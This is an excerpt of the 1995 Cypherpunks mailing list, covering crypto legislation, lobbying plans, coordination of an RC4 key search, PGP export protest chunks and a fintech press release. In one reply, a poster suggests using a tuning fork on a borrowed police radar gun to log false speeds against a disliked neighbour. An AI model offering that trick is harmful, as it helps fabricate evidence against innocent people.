Perry Metzger wrote:

>"Robert A. Hayden" writes:
>> We've seen the enemy, that the are the 535 senators and representatives 
>> in D.C., and the staff in the White House.  It's time to shore up our 
>> allies and enter the battle witht he best weapons we have; information 
>> and popular use.
>
>As unpleasant as the congress is, it isn't the enemy. The governmental
>forces desiring control are not the same as the congress.

This is true.  IMNSHO we are witnessing yet another case of the 
representation of an illegitimate constituency.  Grassley is not representing 
the people of his state -- he is representing and carrying water for federal 
government interests.  While some people used to acidly refer to "The Senator 
from Texaco" and such, it is a much more common situation that some Senators 
and Representatives represent federal agencies in matters before their 
chamber that virtually NO VOTER would ever think of or could even discover as 
a matter of personal interest.  You can be sure Cathy Cornflower of Cherokee 
didn't start this by writing Grassley and suggesting that RICO be expanded to 
cover distribution of non-GAK crypto.  It is inconceivable that more than a 
tiny handful of Grassley's constituents would even recognize anything in his 
bill if stopped on the street and asked about it.

Agencies develop "friendly" congresscritters like the Soviets used to develop 
"friendly" journalists and politicos.  It wouldn't even be all that 
surprising if similar methods are used.  The "friendlies" take obscure and 
no-so-obscure issues before their house on behalf of the agencies.  At some 
level this is probably necessary, but with all those folks getting comfy with 
each other up there in Disneyland-on-the-Potomac, it's impossible that unholy 
alliances do not develop.  The "us vs them" mentality of a congresscritter 
grows to encompass all three branches under "us" and views the unwashed 
masses as "them."  In that view the suit from XYZ who comes over to confer 
with the staffers is "one of us."  He gets right in (while visiting 
constituents wait stupidly for an appointment that the elected official will 
be -- we're so sorry -- unable to keep).  He's bringing up an issue of 
concern to "us."  "We" have a problem that needs to be fixed by modifying 
para (a) of sec (3) to read "shall" instead of "may."  "We" will feel very 
important and may even win some special stroking or quid pro quo for fixing 
"our" problem.

The one real flaw in this is that the electorate was just left out of the 
loop, and kept in the dark to boot.  When the elected official went into "we" 
mode he ceased representing the people who sent him there.  In these 
increasingly totalitarian times it's likely his representation was 
distinctly CONTRARY to the interest of those who sent him there.

There have been cases of agencies approaching "their" congressman and having 
completely new language inserted in a conference bill -- language that was 
never in the original, never offered as an amendment until the bill from each 
house went to conference, and never debated when the conformed bills returned 
for final vote.  It's the norm that such maneuvers go completely unreported 
in the media.

>Congressmen are by and large harried and ignorant people. They have no
>idea what any of this is about. We have the choice of letting Louis
>Freeh do all the educating, or having a white shoe Washington PR firm
>do some of the educating, too. I favor the latter approach.

There is also something that is almost always overlooked... taking names.  It 
is possible to "pull on the string" and follow the visible event back to the 
less immediately visible actors.  The congresscritters, though by and large 
harried and ignorant, are not always guiltless.  At best they are willing 
agents for little bits and pieces of the fabric of overweening statism.  In 
every case, though, there are faceless staffers who may also be harried but 
are usually NOT ignorant.  The staffers are often the ones who "sell" the 
congresscritter on signing onto this or that non-voter issue for this or that 
self-serving political reason.  Staffers also include the people with huge 
political axes to grind -- people who gravitate to the positions of writing 
the text of the bills that translate the generality to which the elected 
official has acceded into excruciatingly detailed and usually 
confusing legislative language.

There's a relatively small number of really activist people in government, 
and not all of them are public and visible.  It's possible that some 
congresscritters could be defeated with the aid of dissemination back home of 
information on the non-voter issues they've championed and concise 
explanations of how many of those issues work to harm their voters.  It's 
also possible that some of those faceless staffers could be turned into 
liabilities by focusing some light on them, thereby reducing their 
effectiveness and employability.

>This is not to say that we shouldn't be widely deploying crypto -- we
>should. (Of course, offshore sites will always have crypto available,
>but...) 

It would seem that the U.S. may lose a number of good minds who may prefer to 
live and write code in other parts of the world.  This has been a developing 
trend for other reasons, and now people who like to write crypto will have 
another reason to look for a new home.

>This is also not to say that Congress doesn't pass very bad laws.

Name a good one!

>However, I very, very strongly urge that we not assume that nothing
>can be done. Just winning a couple years time could totally alter the
>landscape.

Your urging is appropriate.  It's odd, though, how the country seems to be 
pulling itself in two diametrically opposed directions:  On the one hand the 
electorate shifted significantly in the '94 election, responding with greater 
enthusiasm than even the new young Turks in Congress seem to fully 
comprehend, and seeming to be fed up with too much government, prepared to 
commission the dismantling of federal bureaucracy and getting government the 
hell out of their lives.  On the other hand we see bold and impressive moves 
on the part of politicos and bureaucrats toward a suffocating, draconian 1984 
police state.  We have even heard increasing choruses of "Just following 
orders" and "Just doing my job" from mindless hatchetmen these last few 
decades -- bizarre and incredible echos of the excuses offered in post-WWII 
war crimes defenses.

The country cannot move strongly in these two directions for long: Something 
has to give.  The longer this division persists, the greater the gulf that 
stretches between and the more "interesting" the times that will result when 
one side prevails.  The side that prevails will consume the side that fails 
with an intensity related to the energy built up in the process.

Crypto is presently on the periphery of the larger schism, though it's 
conceivable that twenty years in the future it would be clearly understood by 
most people to be central to privacy in an information age.  The moves to 
head crypto, and thus privacy, off at the pass are being made now, though, in 
an effort to prevent a future in which large numbers of people understand how 
to maintain privacy when everything is a bit stream. 

If there is a critical and unique difference between this and other 
seemingly similar situations it is the 10-15% monthly growth of the Internet, 
something that is orders of magnitude greater than what humans are accustomed 
to perceiving, estimating, handling, coping with.  If recent figures are 
accurate, 7,500+ new web pages have been created in the 33 hours since this 
thread started here and perhaps 100,000 new people are on the net in one way 
or another.  It's unlikely that Grassley or Exon or Leahy can assimilate all 
the implications of that rate of growth.  "Senator, the blob is at the door!" 
 "Well, call the State Police!"  "Uh, sir, they're at least three hours away. 
 In that time the blob will be larger than the State of Idaho!"  

The politicos have never before dealt with a sizable "throwaway minority" 
whose current growth curve intersects the U.S. population curve in 24 months 
and the world population curve in 4 years.  In a couple of days there are 
more new people getting on the net worldwide than are contained in a U.S. 
congressional district.  Partly as a result, there are issues getting 
attention that would have easily been contained just a couple of years ago by 
the policy of benignly overlooking them.  No longer.  If a net mobilization 
was disappointing last month, try it this month and see the difference.  
Movements that took years to form and grow decades ago take days or weeks 
now.  Soon they will take only hours.  

We are just now cresting the big one on the supercharged roller coaster of 
high tech infoplosion, and as the velocity rapidly builds there will be 
profound shock among the old and the slow.  Even the savvy will be surprised. 
Push this medium for all it's worth.  Find ways to promote informed privacy 
as a ground-floor issue for newbies and get them to have a knowledgable, 
vested interest in it.  Get people onto the net.  One new person today is 
four or five people a year from now, 15-28 people two years from now.  Since 
a lot of it spreads from person to person, new people start with tools and 
concepts they get from others, so the initiation of a new netparticipant as a 
privacy-aware crypto user tends to spawn subtrees of new users in the same 
mode.  Use the growth multiplier to outflank 'em while they're noodling.

Would it be more productive to hire the white shoes or start another few ISPs 
and shepherd the new users to be privacy-aware letter writers and faxers?  
Educate your ISPs.  Any ISP that isn't political in this age is brain 
dead and dead weight.  Any ISP that sees its political interests as somehow 
different than those of its users (recent lobbying to shift burdens away 
from national services and onto users, and recent AOL admissions of 
participation in what sounded like entrapping users) is worse than brain dead 
-- it's part of the problem.

Bolivar






From kwang at blackbox.punk.net  Fri Jul 14 00:34:52 1995
From: kwang at blackbox.punk.net (Kevin Wang (The Scarecrow))
Date: Fri, 14 Jul 95 00:34:52 PDT
Subject: RC4 - I grabbed too much keyspace
Message-ID: <199507140732.DAA08254@bb.hks.net>


-----BEGIN PGP SIGNED MESSAGE-----

Due to a misunderstanding on my part, I grabbed too much key space.
Here's one contiguous block that needs to be worked on:

9 1a80000000 31
10 1b00000000 31
11 1b80000000 31
12 1c00000000 31
13 1c80000000 31
14 1d00000000 31
15 1d80000000 31
16 1e00000000 31
17 1e80000000 31
18 1f00000000 31
19 1f80000000 31
20 2000000000 31
21 2080000000 31

   - Kevin Wang, kwang at lore.acs.calpoly.edu
- ---
[This message has been signed by an auto-signing service.  A valid signature
means only that it has been received at the address corresponding to the
signature and forwarded.]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Gratis auto-signing service

iQBFAwUBMAYdXioZzwIn1bdtAQHgRgF/dsbrZ2oYofdm52KX8QsAOlg+Seiw2cXO
1P3p0HBbDW7Ukyyyv1UphZkrD7JQsDJP
=m+pJ
-----END PGP SIGNATURE-----





From kelli at zeus.towson.edu  Fri Jul 14 01:12:44 1995
From: kelli at zeus.towson.edu (K. M. Ellis)
Date: Fri, 14 Jul 95 01:12:44 PDT
Subject: Cypherpunks Lobbying?
In-Reply-To: <ac2aef1700021004f93e@[205.199.118.202]>
Message-ID: <Pine.ULT.3.91.950714023803.6182A-100000@zeus.towson.edu>


On Thu, 13 Jul 1995, Timothy C. May wrote:

> 
> I'd hardly call my view "throwing in the towel." What I said clearly enough
> was that the Washingtonians can throw out repressive legislation much
> faster than we can--and I speak in terms of "we" as being the EFF, EPIC,
> NRA, ACLU, etc., and _not_ the Cyherpunks, who have no lobbying activities
> to speak of.

I'm glad you brought this up, Tim, because Pat Farrell, Carl Ellison, and
I have been discussing the possiblility of doing just that over the past
week or so.  The three of us, in addition to many others (we like to call
ourselves "The Mid-Atlantic Cypherpunks") are very near DC and thought we
might take advantage of this on behalf of others who don't have the luxury
of living near their legislators. 

Our idea (and it was originally limited to lobbying against the CDA, but
we can expand it now to lobby against that and S.974) was to have Cypherpunks
send letters (yes, authentic _snail mail_) to a Cypherpunk willing to go
deliver it in person, (namely me) and talk to whoever is there, be it the
congressperson or one of his/her aides.  The strategy of this action would
be to say,"hello, we represent <insert your organization here> and we
oppose <insert appropriate legislation title here> and we feel this way
because <insert very reasonable and diplomatic explanations in easy,
mono-syllabic words so that the congresscritter can understand here> and
here is a letter from one of your constituents who feels the same way we
do."  A simple lobby. 

I thought this might be effective because it seems that a lot of
representatives are difficult to get in touch with, since not all of them
have e-mail addresses.  I think there is a certain advantage in this kind
of action from an educational standpoint, considering that the House
doesn't seem to have a strong backer for this bill like the Senate did,
and the many Congresscritters who know nothing about the net only need
someone to explain the consequences of such a bill to them.  Furthermore,
to those ignorant of the net and its ways, a printed out list of names and
e-mail addresses collected through the web is completely foreign and
perhaps intimidating to them, and therefore not all that helpful to us,
IMHO.  Hand-signed letters (or hand-written, if your printing is more
legible than mine) in good, old-fashioned envelopes is just what critters
of this sort need to see. 

If any US citizens here would like me (and hopefully some older, wiser 
cypherpunks willing to join me on this trip) to deliver a letter to their 
congressperson please send a letter to this address:

                          The Hon. Whoever
                        c/o Kathleen M. Ellis
                           TSU box 898
                        Towson State University
                         8000 York Road
                          Towson, MD  21204

On the envelope you must include:

	The name of the congressperson (if I have to open the letter to be able 
			to tell who it is meant for it'll lose some of its 
			authenticity)

	My full address (yes, all five lines of it, or i'll never get it)

	If you can get it, the office location of representative 
			(building name and room number) printed on the 
			back or something, if you can't find it don't 
			worry, I'll find it, but if you can find it I'd 
			appreciate it.  You can get it at the URL below.

	A return address

	A postmark from your district

The letter must have:

	The specific bill you are against; its number, title, and sponsors 
			(the CDA is H.R.1004/S.652 sponsored by 
			Senator James Exon, from Nebraska)

	Possible alternatives (my suggestion is H.R. 1978, sponsored by 
			Cox and Wyden)

	A polite introuduction, a concise body, and a gracious 
			conclusion :). 

	Your address and signature.

If you need more information for your letter, good URLs on the subject are:

http://www.cdt.org/cdw.html
http://www.cdt.org/petition.html
http://www.eff.org/pub/EFF/Issues/censorship/Exon_bill/
http://uvacs.cs.virginia.edu/~hwh6k/public/S314_stuff.html
http://www.phantom.com/~slowdog
http://www.panix.com/vtw/exon/

If you don't know who your representative is, try to find her/him through

http://www.house.gov

and look for a familiar looking name from your state.  Unfortunately 
there's no "point-and-click" US map to refer to to find out which 
district is yours, but you should be able to find out fairly easily by 
looking for familiar names.  If you really get stuck, try your local 
League of Women Voters.

The main thing is, I need these letters soon.  In order to have a shot at
getting to talk to anyone, I must make appointments with the offices of
the respective representatives.  The house is expected to vote on this
topic any day now; the clock's a-ticking.  I ask that all letters be sent
so that I can recieve them by July 23rd.  I aim to raid congress on
Tuesday, July 25th.  This date could be changed, depending on the definite
responses I get from people willing to help. 

I have lobbied before, and I'm up to the task, but it would be nice to
have some other politically-oriented cypherpunks along for, at the very
least, moral support.  Anybody interested, Please Please Please send me
some e-mail.  Carl or Pat might go, and if we get enough people to help we 
can split the workload among teams.

If anyone has comments/questions/suggestions, don't hesitate.  I'd
appreciate whatever isn't necesary to go up on the list to be sent to me
privately, so's I don't get into trouble for "inciting spam". 

-=Kathleen M. Ellis=-

kelli at zeus.towson.edu              http://zeus.towson.edu/~kelli/
GAT d? H+ s+++:-- !g p? !au a- w++@ !v@ c++++ UL++ P+ L+ 3 E---- N+ K W--- 
M-- V-- po- Y++ t+ 5-- jx R G'''' tv- b+++ D-- B e+ u** h* f++ r--- n+ z**
Diverse Sexual Orientation Coll.Towson State University DSOC at zeus.towson.edu
BigBrotherSystemsBBS........BigBrotherIsWatchingYou.......(410)494-3253#11











From sameer at c2.org  Fri Jul 14 01:44:50 1995
From: sameer at c2.org (sameer)
Date: Fri, 14 Jul 95 01:44:50 PDT
Subject: c2.org now offers telnet-only accounts
Message-ID: <199507140842.BAA06740@infinity.c2.org>


	"The Premier Cypherpunk ISP" now offers shell accounts at a
discount to those who will just telnet in and not use the dialup
pool. We are one of the only ISPs in the country who offers anonymous
shell accounts. (Payment in advance, of course.)
	Check out http://www.c2.org

	If you think our net is too slow right now, check back in
about a month.

	("Premier Cypherpunk ISP" is a bit of a joke, btw)
-- 
sameer						Voice:   510-601-9777
Network Administrator				Pager:	 510-321-1014
Community ConneXion: The NEXUS-Berkeley		Dialin:  510-658-6376
http://www.c2.org (or login as "guest")			sameer at c2.org




From gds at connex.com  Fri Jul 14 02:06:58 1995
From: gds at connex.com (David Scoggins)
Date: Fri, 14 Jul 95 02:06:58 PDT
Subject: Anti-Electronic Racketeering Act of 1995
In-Reply-To: <199507131932.PAA01245@bb.hks.net>
Message-ID: <Pine.3.89.9507140106.B22784-0100000@apollo.connex.com>



According to Shari Steele:

> Fortunately, the bill does not have a very promising future.  The bill has
> no co-sponsors.  It was immediately referred to the Committee on the
> Judiciary, where it currently sits.  LEXIS's bill tracking report only
> gives it a 10% chance of passing out of the committee.

Thank God, if true.

After lurking on this list for a couple of months, I finally feel 
motivated to comment by this latest bout of official stupidity.

I realize that I am preaching to the choir here, so if you don't need any 
more convincing, feel free to delete this now.  And for those readers not 
in the US - pray pardon the US-centric tone of this piece.

I have been steadily lowering my opinion of the human race for 20 years 
now.  It is depressing to realize that I may have to ratchet it downward 
another notch or two.  That our various elected representatives and 
assorted civil masters are stupid, venal, corrupt, short-sighted, 
incompetant, arrogant, foolish, greedy, megalomaniacal, immoral poltroons 
with the manners of billy goats utterly lacking in common sense or common 
decency no longer surprises me.  What does still surprise me is just *how* 
stupid, venal, corrupt, etc they really are.  If we can not govern 
ourselves better than this, then we really are just overgrown chimpanzees.

And our cousin primates should probably feel insulted by the comparison.

The United States used to be a special place, and I used to be proud of 
being a citizen of this country.  Sadly, this is no longer true.  Our 
government, in all three of its branches and its multiplicity of 
agencies, bureaus, departments and services, has made a mockery of the 
Constitution.  The Ninth and Tenth Amendments are laughed at, the Fourth 
and Fifth Amendments are in tatters, the Second is under incessant 
attack, and the First...  well, the First Amendment to the Constitution 
of the United States is basically being gang-raped by Congress as we speak.

Consider those words, "as we speak".  Clearly, I consider what I am doing 
now to be "speech".  It is not face to face, I am not in the presence of 
all of you in one place at one time speaking these words aloud - but it 
is still speech.  Most of you who read this, perhaps all of you, will 
agree, I think.  What we do on the 'net - in email, in Usenet, in irc - 
is communication between human beings - fundamentally, speech.  It is 
obvious to us that speech, regardless of medium, should be protected by 
the First Amendment.

Equally obvious, many in Congress, the Administration and the Federal Courts
disagree.  The courts, and in particular the Supreme Court have by a 
process of straining at gnats and swallowing camels "interpreted" the 
Constitution in such a way as to permit clearly unconstitutional laws and 
practices to continue.  They are wrong, but so what.  The knowledge that 
you are wholly right and that your opponents are wholly wrong is of small 
comfort when the noose is around your neck.

Many Americans now actively fear the Federal government and its Law 
Enforcement Agencies, and justly so.  Every day more evidence emerges of 
profound and widespread abuse of power, corruption and official arrogance 
on the part of the LEAs, yet many of our Senators introduce and vote for 
legislation that would severely weaken the precious few remaining 
restraints on their power, and grant them even broader and ever more 
sweeping powers to invade the privacy and abridge the rights of American 
citizens.

The United States used to be special.  It was founded by people who 
believed that human beings had rights that were *not* simply privileges 
granted by the state, but were innate and could *not* be taken away.  (Or 
at least you did as long as you were an adult white male property 
owner.)  They believed that governments had no powers unless they were 
granted by the people, not the other way round.  In short, they believed 
in the principles and philosophy outlined in the Declaration of Independence.

This is no longer the case.  Two hundred and nineteen years later, we pay 
lip service to the ideals of the Declaration every July Fourth, but the 
last person in Congress who paid any attention to those ideals was 
apparently Barry Goldwater.

Let us be realistic for a moment.  Consider this a half-hearted apologia 
for Senator Grassly, if you will.  France already bans crypto, modulo 
some exceptions that I believe are rather hard to qualify for.  And I 
consider a judicial system based on the Napoleonic Code reprehensible.  
Yet by all accounts France remains a tolerable and decent place to live.  
Without irony, most people refer to France as part of the Free World.  
The UK, Canada and Australia have censorship laws, Official Secrets Acts 
and the like that permit prior restraint of publication and other things 
that we Americans find distressing.  Yet I believe that the UK, Canada and 
Australia remain tolerable and decent places to live, and they too are 
considered part of the Free World.

If Senator Grassly's bill is enacted into law, it will not be the End of 
the World.  The United States will not suddenly have become Nazi Germany.
This country will remain, for the vast majority of Americans and even 
most cypherpunks, a tolerable and decent place to live.  It will still be 
one of the few countries in the world to grant its citizens the 
relatively unchecked freedom to speak their minds, to work at whatever 
profession or occupation they wish, to travel where they wish.

It just means that a tiny bit more of our rights will have been eroded, 
our freedom lost - a little bit more of what used to make this a special 
place, of what used to make this country different from - and in my 
opinion as a still somewhat patriotic American - better than France, Canada, 
Australia and the UK - will have disappeared.





From asb at nexor.co.uk  Fri Jul 14 02:14:49 1995
From: asb at nexor.co.uk (Andy Brown)
Date: Fri, 14 Jul 95 02:14:49 PDT
Subject: OTP server..
In-Reply-To: <v02130500ac2cc7c4390a@[205.219.167.38]>
Message-ID: <Pine.SOL.3.91.950714101031.4143D-100000@eagle.nexor.co.uk>


On Fri, 14 Jul 1995, Black Unicorn wrote:

> doug at eng.auburn.edu wrote:
>> How about WWW one time pad servers? You browse to your
>> favorite OTP server, which has a random number generator
>> running in the background. You tell it to give you a block
>> of X bytes, and mail it to persons 1, 2, 3, ... N.
>> [...]
>> Thoughts?
>>
> I think you're trusting the server a GREAT deal.

A small addition to the protocol whereby the recipient gives the random 
data the once-over with a personal IDEA key would be sufficient to 
eliminate any doubts about the server.


- Andy

+-------------------------------------------------------------------------+
| Andrew Brown  Internet <asb at nexor.co.uk>  Telephone +44 115 952 0585    |
| PGP (2048/9611055D): 69 AA EF 72 80 7A 63 3A  C0 1F 9F 66 64 02 4C 88   |
+-------------------------------------------------------------------------+





From stewarts at ix.netcom.com  Fri Jul 14 02:19:59 1995
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 14 Jul 95 02:19:59 PDT
Subject: speeding detected by civilians
Message-ID: <199507140918.CAA04658@ix2.ix.netcom.com>


At 02:01 PM 7/13/95 -0700, Vladimir Z. Nuri wrote:
>Vernon Hills, Illinois, a Chicago suburb, has passed legislation allowing 
>citizens to check out radar guns from the local police department to 
>catch speeders in their community. The radar guns are combined with 
>cameras in order to instantaneously capture the car, license number, and the 
>rate of speed. The citizens can check out the units for a week at a time. The 
>police have stated that they, at this time, will use the data to issue 
>warning letters to the violaters.

I wonder how they'll feel if citizens start tracking the speeds of
police cars and reporting them..... :-)
#                                Thanks;  Bill
# Bill Stewart, Freelance Information Architect, stewarts at ix.netcom.com






From stewarts at ix.netcom.com  Fri Jul 14 02:20:11 1995
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 14 Jul 95 02:20:11 PDT
Subject: Fight, or Roll Over?
Message-ID: <199507140918.CAA04669@ix2.ix.netcom.com>


At 03:56 PM 7/13/95 -0700, Timothy C. May wrote:
>criminalizes groups which support This Year's Enemies. (Like the War with
>Oceania--or was it Eurasia?--the friend of today was yesterday's criminal
>organization. 
Wow!  The Oceania folks haven't even raised enough funds to make a credible
floating city, and already they're at war!?  (Or, alternatively,
No, Oceania's always been at war with _East_asia...)

>Some would say this means Cypherpunks should step into the fray and become
>a lobbying group. I don't see us as having the structure or organization to
>become such a group. Those who wish to should probably form a real group to
>do this, with bylaws and elected officials.

There's already an EFF, and lobbying probably looks better with our EFF hats
on than with Cypherpunks hats and non-exportable T-Shirts on.  Cypherpunks
is more for lobbying the public by putting out code than for lobbying CONgress.

>Anarchies are great, but there's no way an anarchy can have a "spokesman,"
>or a budget for travel and lobbying, or a hundred other things that a
>lobbying group needs. Cypherpunks--this list--is just not in a position to
>be this group.

Consensus-oriented coalitions can also work marvelously inefficiently :-)

#                                Thanks;  Bill
# Bill Stewart, Freelance Information Architect, stewarts at ix.netcom.com






From rogaski at phobos.lib.iup.edu  Fri Jul 14 05:41:09 1995
From: rogaski at phobos.lib.iup.edu (Mark Rogaski)
Date: Fri, 14 Jul 95 05:41:09 PDT
Subject: speeding detected by civilians
In-Reply-To: <199507132101.OAA27319@netcom12.netcom.com>
Message-ID: <199507141241.IAA24832@phobos.lib.iup.edu>


-----BEGIN PGP SIGNED MESSAGE-----

- From the node of Vladimir Z. Nuri:
: 
: Vernon Hills, IL.
: 
: Vernon Hills, Illinois, a Chicago suburb, has passed legislation allowing 
: citizens to check out radar guns from the local police department to 
: catch speeders in their community. The radar guns are combined with 
: cameras in order to instantaneously capture the car, license number, and the 
: rate of speed. The citizens can check out the units for a week at a time. The 
: police have stated that they, at this time, will use the data to issue 
: warning letters to the violaters.
: 

Got a neighbor you don't like?  Rent one of these here radar guns and
get a set of tuning forks.  Set up the unit to catch your target, and then
just hold a tuning fork up in front of the unit (but out of range of the 
mounted camera).

PS -- Didn't traffic cops have one of the highest rates of testicular
cancer by occupation due to the widespread habit of resting radar guns in
their laps without switching them off?

- -----
#include <std_disclaimer.h>

Mark Rogaski           100,000 lemmings     rogaski at phobos.lib.iup.edu 
aka Doc, wendigo        can't be wrong!     http://www.lib.iup.edu/~rogaski/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMAZlyx0c4/pqJauBAQHysAQAtEsBrdEJ9Esiybu9L8/398oaALrWGHuz
5UeeIfeaXEsG+c/Ns3T7pK47kRGNt5aa/xsT++sC0vqzXgWwZU4UnIMF5Lic8tsW
c35+EML7CEK77EvLzqwYMheowSptHKMGhwy0GhBFXl1vA0zCP66Hho3RstkFEDeg
wNIiyJQzG10=
=TGLu
-----END PGP SIGNATURE-----




From rah at shipwright.com  Fri Jul 14 06:23:11 1995
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 14 Jul 95 06:23:11 PDT
Subject: Checkfree/Cybercash Press release
Message-ID: <v02120d00ac2c20283a51@[199.0.65.105]>


>Date: Fri, 14 Jul 1995 03:42:07 -0700
>From: Davidwfox at eworld.com
>To: www-buyinfo at allegra.att.com, e-payment at bellcore.com
>Subject: Checkfree/Cybercash Press release
>
>CHECKFREE AND CYBERCASH JOIN FORCES TO DELIVER COMPREHENSIVE ELECTRONIC COM
>
>       Consumers can conduct Internet transactions using checks,
>                       credit cards or cash
>
>    BOSTON, July 13 /PRNewswire/ -- Checkfree Corporation and CyberCash,
>Inc. announced today at the Interactive Services Association conference
>that they will cooperatively develop and market products and services
>that will allow consumers to safely conduct payment transactions, in
>real time, over the Internet using credit cards, debit cards, checks or
>cash.
>    Checkfree, the nation's leading provider of electronic commerce
>services, will license technology from CyberCash, a leader in secure,
>end-to-end Internet payment systems.  Checkfree will integrate
>CyberCash's high level security features and ability to conduct cash
>transactions into the Checkfree Wallet(TM), creating a single solution
>for electronic payment transactions that offers checks, credit cards,
>cash, coin or micropayments.
>    "Partnering with CyberCash was the logical choice for Checkfree,"
>says Pete Kight, founder and CEO of Checkfree.  "Checkfree is committed
>to leading the way for electronic commerce, and providing plug and play
>Internet transaction solutions.  The Checkfree Wallet(TM) is now an even
>more attractive transaction platform for both consumers and merchants."
>    The Checkfree Wallet(TM) was introduced in April to allow consumers
>to purchases goods and services from on-line merchants in a safe,
>convenient and familiar manner.  The Checkfree Wallet(TM) does not
>require prior registration with merchants, and on-line shoppers pay no
>fees or transaction service charges.  With the addition of CyberCash's
>technology consumers will be able to utilize cash securely over the
>Internet and merchants will receive authorization in real time.  In
>addition, merchants will be able to accept payments from any on-line
>consumers, regardless of the server or browser they are using.
>    "Checkfree's long, successful record of developing applications for
>home banking and electronic bill payment is a perfect complement to
>CyberCash's secure Internet transaction and electronic cash expertise,"
>said Magdalena Yesil, vice president of marketing for CyberCash.
>"Together we can offer a complete array of payment tools that allow
>consumers to conduct spontaneous transactions and pay bills via the
>Internet."
>    Checkfree and CyberCash will focus on developing products that can
>be easily integrated into any browser system and merchant server.  The
>new Internet transaction product offering, which will be co-branded by
>Checkfree and CyberCash, is scheduled for release this fall.  The
>product will initially be available free-of-charge via NetCom's
>NetCruiser Internet browser as well as other leading Internet browsers.
>Merchant interest to date also includes ID Software, the developers of
>Doom(TM).
>
>    About CyberCash
>    CyberCash, Inc. of Reston, Virginia, was founded in August 1994 to
>partner with financial institutions and providers of goods and services
>to deliver secure Internet payment systems.  The CyberCash approach is
>based on establishing a trusted link between the seeming unpredictable
>world of cyberspace and the traditional banking world.  CyberCash serves
>as a conduit through which payments can be transported easily, safely
>and instantaneously between buyers, sellers and their banks.
>    The CyberCash system operates on top of any general security system
>such as SSL or Secure HTTP.  CyberCash beta software is currently
>available free-of-charge and can be downloaded from the company's WWW
>server at http://www.cybercash.com.  The company's initial service that
>accepts payments using any major credit card is scheduled for full
>commercial deployment this summer.  Electronic cash services are
>expected by the end of 1995.
>    CyberCash's principal founders, Bill Melton and Dan Lynch, have
>brought together a team with unparalleled experience in credit card and
>debit card automation, internet telecommunications and security.  In
>April, CyberCash was chosen by Interactive Age as one of the 100 Best
>Business Web Sites.  For further information about CyberCash, access its
>WWW server or call 800-9CYBER1.
>
>    About Checkfree
>    Checkfree Corporation, the nation's leading electronic commerce
>company, last year processed more than $6 billion in payments for
>consumers and corporate clients, with more than six million consumers
>and one million businesses benefiting from its services.  Checkfree
>serves consumers, business and financial institutions with a wide array
>of product and service offerings, each finely tuned to the specific
>needs of its users.  All leverage Checkfree's extensive technology
>infrastructure which includes its patented and proven electronic bill
>payment system.  Founded in 1981, Checkfree Corporation is headquartered
>in Columbus, Ohio, where it employs 370 full-time associates.  Checkfree
>is privately held.
>    For additional information about Checkfree, access its worldwide web
>server at: http://www.checkfree.com
>    -0-                          7/13/95
>/CONTACT:  Jennifer Sims, 415-904-7070, ext. 275 or
><jsims at accesspr.com>, or Nicol Davis, 415-904 7070, ext  281, or
><ndavis at accesspr.com>, both of Access Public Relations, for Checkfree;
>or Susan Ice of Thomas Associates, 415-325-6236, or susani at thomaspr.com
>for CyberCash, Inc./
>

-----------------
Robert Hettinga (rah at shipwright.com)
Shipwright Development Corporation, 44 Farquhar Street, Boston, MA 02131
USA (617) 323-7923
"Reality is not optional." --Thomas Sowell
>>>>Phree Phil: Email: zldf at clark.net  http://www.netresponse.com/zldf <<<<<







From pfarrell at netcom.com  Fri Jul 14 06:29:35 1995
From: pfarrell at netcom.com (Pat Farrell)
Date: Fri, 14 Jul 95 06:29:35 PDT
Subject: Fight, or Roll Over?
Message-ID: <34125.pfarrell@netcom.com>


In message Thu, 13 Jul 1995 02:41:12 -0800,
  cman at communities.com (Douglas Barnes)  writes:
> Since the Anti-Electronic Racketeering Act of 1995 might as well
> be called the "Anti-Cypherpunk Act of 1995", I'm surprised to see
> Tim throw in the towel already, when the bill hasn't even made it
> through committee yet.

OK, lets start some traditional politics.

Anyone know what commitee has jurisdiction?

Then the next step is who is on the commitee?

Then which cypherpunks are constituents of the commitee members?

At least some on the list write software for a living, or run ISPs and this
could effect their livelihood. Talk economic impact, not buzzwords
like "freedom" and apple pie.

Pat

Pat Farrell    Grad Student      http://www.isse.gmu.edu/students/pfarrell
Info. Systems & Software Engineering, George Mason University, Fairfax, VA
PGP key available on homepage               #include <standard.disclaimer>





From schampeo at imonics.com  Fri Jul 14 06:35:48 1995
From: schampeo at imonics.com (Steven Champeon - Imonics Development)
Date: Fri, 14 Jul 95 06:35:48 PDT
Subject: Eudora MacPGP Woes
Message-ID: <9507141334.AA07025@fugazi.imonics.com>



|   From: "Robert A. Rosenberg" <hal9001 at panix.com>
|   Subject: Re: Eudora MacPGP Woes
|   
|   At 14:40 7/8/95, Black Unicorn wrote:
|   >I have noticed that an X-Attachement: header is added, but I have no idea
|   >how to remove it without opening the Eudora outbox with teachtext or
|   >something.
|   
|   Highlight the file name on the attachments line and hit delete to remove an
|   attached file request.

I guess I'm still confused about why there's an X-Attachment: header being
added. If the file is being generated by MacPGP without using the Applescript,
you can simply open the resulting encoded file (provided it is being ascii-
armored) from within Eudora then copy and paste it into an open Compose
window. Voila. No X-Attachment: header. If you delete the file name on the
attachments line, it also removes the attachment.

Mr. Unicorn: have you had any luck with the Applescript? You might try
booting without extensions (except for Applescript) and open Eudora
off-line and keep trying. 

Hope this helps,
Steve





From merriman at arn.net  Fri Jul 14 06:40:38 1995
From: merriman at arn.net (David K. Merriman)
Date: Fri, 14 Jul 95 06:40:38 PDT
Subject: Suing/Reputations (was: Root Causes)
Message-ID: <199507141348.IAA09516@arnet.arn.net>


Thus did FrogFarm (?? :-) bespake:

... <legal cites excised> ...

This sounds like what I was thinking of.

Dave Merriman
This is a test (3 UUE lines) of the unconstitutional ITAR - 1/713th
of the PGP executable. See below for getting YOUR chunk! 
------------------ PGP.ZIP Part [015/713] -------------------
M=$<(&L`#*IPP",(G6(,,S,`P](<2RWU96XCW86/JBYV8A\D8 at X'HB_9H#&\X
MX'PCUB.,13B"X8`R?^J-:UB.M_`U\>[#)BS&5$0C,Y#^1CS>1`\T1QTXX6!3
M8H,),S$8G>&.WP(8IRA`-M['+`Q%&_C"">5-F%LX@<_Q$;*P'',Q$Z/AA[8M
-------------------------------------------------------------
for next chunk to export --> http://dcs.ex.ac.uk/~aba/export/







From Doug.Hughes at Eng.Auburn.EDU  Fri Jul 14 06:49:27 1995
